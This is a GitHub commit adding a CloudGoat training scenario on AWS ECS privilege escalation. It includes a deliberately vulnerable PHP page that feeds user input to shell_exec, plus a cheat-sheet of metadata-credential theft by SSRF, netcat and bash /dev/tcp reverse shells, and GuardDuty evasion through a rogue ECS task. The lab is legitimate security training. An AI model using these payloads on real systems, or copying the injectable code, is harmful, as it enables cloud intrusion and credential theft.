Skip to content

Commit fcf77a3

Browse files
nobodynateWest-wise
andcommitted
Add ecs_privesc_evade_protection scenario
This scenario teaches ECS privilege escalation combined with GuardDuty detection evasion techniques. Attackers exploit a vulnerable web application running in an ECS container to steal EC2 credentials, then spawn a new ECS task with elevated privileges to bypass GuardDuty monitoring. Key features: - Vulnerable PHP web app with SSRF and command injection - ECS on EC2 with IMDSv1 enabled for metadata access - GuardDuty + Lambda automated incident response - Two attack paths (easy and hard mode) - Teaches container escape and privilege escalation Note: Requires Docker installed locally to build and push the vulnerable web app image to ECR during deployment. Co-authored-by: 2W <hsp003636@gmail.com>
1 parent adec615 commit fcf77a3

27 files changed

Lines changed: 1336 additions & 1 deletion

README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -351,6 +351,17 @@ Starting with access to the "ruse" EC2, the user leverages the instance profile
351351

352352
---
353353

354+
### ecs_privesc_evade_protection (Medium)
355+
`cloudgoat create ecs_privesc_evade_protection`
356+
357+
A user begins by accessing a working web service to a container inside EC2. The attacker can exploit a web service vulnerability to get credentials from the metadata API in EC2, or to control the container. This credential allows the attacker to initiate a new container with a specific role and control it. Based on this action, make a privilege escalation, and read FLAG in S3.
358+
359+
> **Note:** This scenario requires Docker to be installed locally, as it builds and pushes a container image to ECR during deployment.
360+
361+
[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md)
362+
363+
---
364+
354365
### secrets_in_the_cloud (Hard)
355366
`cloudgoat create secrets_in_the_cloud`
356367

cloudgoat/core/python/commands.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -380,7 +380,7 @@ def _get_tf_vars(self, cgid=None):
380380
tf_vars.update({"profile": self.profile, "region": self.aws_region})
381381
if self.scenario_cloud_platform == 'azure':
382382
tf_vars.update({"subscription_id": self.azure_subscription_id})
383-
if self.scenario_name == "detection_evasion":
383+
if self.scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
384384
tf_vars["user_email"] = self.get_user_email()
385385

386386
return tf_vars
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Scenario: ecs_privesc_evade_protection
2+
3+
**Size**: Medium
4+
5+
**Difficulty**: Moderate
6+
7+
**Command**: `$ ./cloudgoat.py create ecs_privesc_evade_protection`
8+
9+
## Scenario Resources
10+
11+
- 1 ECS with:
12+
- 1 * ASG with :
13+
- 1 * EC2
14+
- 1 * Service (web container)
15+
- 2 * S3 (1 * secret, 1 * cloudtrail)
16+
- Detection Mechanisms
17+
- GuardDuty enabled
18+
- CloudWatch
19+
- CloudTrail
20+
- EventBridge
21+
- Lambda
22+
- SES
23+
24+
## Scenario Start(s)
25+
26+
Scenario starts as a web user.
27+
28+
> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error.
29+
30+
> **Warning**: This scenario deploys an intentionally vulnerable web application. Always destroy the scenario when finished to avoid leaving exploitable resources in your AWS account.
31+
32+
> **Note**: Use the docker command during the scenario creation process; the docker environment have to be ready.
33+
34+
## Scenario Goal(s)
35+
36+
Read flag.txt in S3 with avoiding various defense techniques.
37+
38+
## Summary
39+
40+
There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string.
41+
42+
## Email setup
43+
44+
- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start.
45+
- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/.
46+
47+
# SPOILER ALERT: There are spoilers for the scenario blew this point.
48+
49+
## Exploitation Route
50+
51+
![Scenario Route(s)](assets/diagram.png)
52+
53+
## Scenario Walk-through
54+
55+
### Easy Path
56+
- Attacker accesses the web service of a container inside EC2 managed by ECS.
57+
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
58+
- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario.
59+
60+
### Hard Path
61+
- Attacker accesses the web service of a container inside EC2 managed by ECS.
62+
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
63+
- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created.
64+
- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario.
65+
39.3 KB
Loading
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Dockerfile
2+
.dockerignore
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
FROM php:7.4-cli-alpine
2+
3+
RUN apk --no-cache update \
4+
&& apk --no-cache add \
5+
curl-dev libcurl \
6+
groff \
7+
less \
8+
python3 \
9+
py3-pip \
10+
&& docker-php-ext-install curl \
11+
&& pip3 install --upgrade pip \
12+
&& pip3 install awscli
13+
14+
COPY . /usr/src/myapp
15+
16+
WORKDIR /usr/src/myapp
17+
18+
CMD [ "php", "-S", "0.0.0.0:80", "-t", "." ]
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
<!DOCTYPE HTML>
2+
<html>
3+
<head>
4+
<title>SSRF</title>
5+
</head>
6+
7+
<body>
8+
<h2>Server Side Request Forgery</h2>
9+
10+
<form method="GET" action="">
11+
<span>URL:
12+
<input name="url" type="text" placeholder="" />
13+
<input type="submit" />
14+
</span>
15+
</form>
16+
<h4>Can you access meta-data? We've made security improvements!</h4>
17+
18+
<?php
19+
if (isset($_GET['url'])) {
20+
$url = $_GET['url'];
21+
22+
if (strlen($url) > 150) {
23+
echo "URL is too long. Please enter a URL with 150 characters or less.";
24+
echo "\n\n";
25+
} elseif (preg_match('/169.254.169.254/', $url)) {
26+
echo "Access to meta-data is not allowed.";
27+
echo "\n\n";
28+
} else {
29+
$response = shell_exec("curl --max-time 10 " . $url);
30+
if ($response === null) {
31+
error_log("Failed to execute curl for URL: " . escapeshellarg($url));
32+
echo "Failed to fetch the URL.";
33+
echo "\n\n";
34+
}
35+
else if ($response !== null) {
36+
echo "<pre>";
37+
echo htmlspecialchars($response);
38+
echo "</pre>";
39+
} else {
40+
echo "Failed to fetch the URL.";
41+
echo "\n\n";
42+
}
43+
}
44+
}
45+
?>
46+
47+
</body>
48+
</html>
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
# Easy Path
2+
3+
Go to `http://<ec2_ip_address>`
4+
5+
### Command Injection
6+
7+
```bash
8+
# Command Injection on web.
9+
; aws s3 ls
10+
; aws s3 ls s3://<bucket-name>/
11+
; aws s3 cp s3://<bucket-name>/flag.txt .
12+
; cat flag.txt
13+
```
14+
15+
### SSRF
16+
17+
```bash
18+
# SSRF Attack.
19+
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
20+
21+
# Configure credentials.
22+
aws configure --profile attacker
23+
echo "aws_session_token = <token>" >> ~/.aws/credentials
24+
25+
# Access to S3.
26+
aws s3 ls
27+
aws s3 ls s3://<bucket-name>/
28+
aws s3 cp s3://<bucket-name>/flag.txt .
29+
cat flag.txt
30+
```
31+
32+
33+
# Hard Path
34+
35+
Go to `http://<ec2_ip_address>`
36+
37+
### SSRF
38+
39+
* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>`
40+
* Get credentials & using it to your CLI profile.
41+
42+
```bash
43+
aws configure --profile attacker
44+
echo "aws_session_token = <token>" >> ~/.aws/credentials
45+
```
46+
47+
### Command Injection
48+
49+
- prepare another host for revshell attack with `nc -lvp 4000`
50+
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`
51+
52+
### For more information
53+
54+
- more information about iam.
55+
56+
```bash
57+
aws sts get-caller-identity
58+
aws iam list-roles
59+
aws iam get-role --role-name <role>
60+
aws iam list-attached-role-policies --role-name <role>
61+
aws iam list-role-policies --role-name <role>
62+
aws iam get-role-policy --role-name <role> --policy-name <policy>
63+
````
64+
65+
- more information about ecs clusters.
66+
67+
```bash
68+
aws ecs list-clusters --region <region>
69+
aws ecs describe-clusters --region <region> --clusters <cluster>
70+
aws ecs list-container-instances --region <region> --cluster <cluster_arn>
71+
```
72+
- find available vpc subnets.
73+
74+
```bash
75+
aws ec2 describe-subnets --region <region>
76+
```
77+
78+
### ECS Privesc
79+
80+
1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`.
81+
82+
2. And now come back to CLI.
83+
84+
3. Create an ECS Task Definition JSON File:
85+
86+
Create a file named task-definition.json and include the following content.
87+
Replace `<region>`, `<task_name>`, `<task_role_arn>`, `<revshell_ip>`, and `<revshell_port>` with your actual values.
88+
89+
```json
90+
{
91+
"family": "<task_name>",
92+
"taskRoleArn": "<task_role_arn>",
93+
"networkMode": "awsvpc",
94+
"cpu": "256",
95+
"memory": "512",
96+
"requiresCompatibilities": ["FARGATE"],
97+
"containerDefinitions": [
98+
{
99+
"name": "exfil_creds",
100+
"image": "python:latest",
101+
"entryPoint": ["sh", "-c"],
102+
"command": ["/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\""]
103+
}
104+
]
105+
}
106+
```
107+
108+
4. Create an ECS Run Task JSON File.
109+
110+
Create a file named run-task.json and include the following content. Replace `<subnet>` with the actual values for your setup.
111+
112+
```json
113+
{
114+
"launchType": "FARGATE",
115+
"networkConfiguration": {
116+
"awsvpcConfiguration": {
117+
"assignPublicIp": "ENABLED",
118+
"subnets": ["<subnet>"]
119+
}
120+
}
121+
}
122+
```
123+
124+
5. Register Task Definition and Run Task
125+
126+
Now, you can use the AWS CLI with the JSON files to execute the commands.
127+
128+
```bash
129+
# Register task definition
130+
aws ecs register-task-definition --region <region> --cli-input-json file://task-definition.json
131+
132+
# Run task
133+
aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_name> --cli-input-json file://run-task.json
134+
```
135+
136+
After a few minutes, the revshell will be connected by container.
137+
Let's access to s3 on revshell.
138+
139+
### Access S3
140+
141+
```bash
142+
apt update
143+
apt install awscli
144+
145+
aws s3 ls
146+
aws s3 ls s3://<bucket-name>/
147+
aws s3 cp s3://<bucket-name>/secret-string.txt .
148+
cat secret-string.txt
149+
```
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
---
2+
# The name of the scenario, alpha-numeric characters only, and underscore-separated
3+
- name: ecs_privesc_evade_protection
4+
# The name of the author(s), comma separated
5+
- author: Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo
6+
# The version of the scenario, where major versions are breaking changes and minor are small fixes.
7+
- version: 1.0
8+
# Text displayed to the user when they type "{{ scenario_name }} help"
9+
- help: |
10+
Within the container that is running a web hosting service on an EC2 instance managed by ECS,
11+
please access the metadata service to obtain the temporary credentials for the EC2 instance.
12+
Then, exploit these privileges to read the secret string inside the flag.txt file located within S3.
13+
14+
Note: if AWS GuardDuty detects your attack, it will refresh the temporary credentials of the EC2 instance
15+
and send an alert email to the registered address.
16+
Endeavor to proceed with utmost caution to avoid triggering these alerts.
17+
18+
# Records the date upon which this scenario was last updated, in MM-DD-YYYY format
19+
- last-updated: 11-02-2023
20+
...
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# Using CloudTrail for GuardDuty
2+
resource "aws_cloudtrail" "cloudtrail" {
3+
name = "cg-cloudtrail-${var.cgid}"
4+
s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id
5+
enable_logging = true
6+
7+
depends_on = [aws_s3_bucket_policy.trail_bucket_policy]
8+
}

0 commit comments

Comments
 (0)